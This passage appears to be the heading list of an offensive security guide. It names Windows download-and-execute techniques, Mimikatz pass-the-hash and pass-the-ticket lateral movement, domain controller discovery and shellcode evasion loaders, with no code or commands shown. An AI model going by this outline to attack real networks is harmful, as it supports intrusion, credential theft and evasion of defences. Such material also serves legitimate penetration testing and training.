9. MSBuild Command from .NET Framework

10. odbcconf Command Download and Execution

11. cscript Script Remote Command Download and Execution

12. pubprn.vbs Download and Execution Command

13. Native Windows copy Command

14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)

15. IEExec Command Download and Execution

16. msiexec Command Download and Execution

17. GreatSCT Download and Execution Project

Domain Lateral Movement: PTH, PTK, and PTT Hash-Based Credential Transfer

The Kerberos Protocol Workflow

Technique Summaries

Case Study 1: Domain Lateral Movement via PTH Transfer - Mimikatz

Case Study 2: Domain Lateral Movement via PTK Transfer - Mimikatz

Case Study 3: Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets

Case Study 4: The Ladon Intranet Penetration Framework - Testing and Validation

Rapid Identification of Domain Administrators and Domain Controllers in Internal Network Penetration Testing

Locating Domain Administrators

Command Line Identification

Tool-Based Identification

PSLoggedon.exe

PVefindaduser.exe

PowerView.ps1

Locating Domain Controllers

Command Line Identification

DNS Record Enumeration

Port Probing

SPN Scanning

Summary

A Summary of Shellcode Evasion Techniques

Shellcode Evasion Techniques: A Practical Guide

Introduction

0x01 Shellcode "Separation" Evasion

A) Loaders for Executing Shellcode

SSI (Shellcode String Injection):

Shellcode Launcher:

C# Loader:

Python Loader:

Go with Inline C: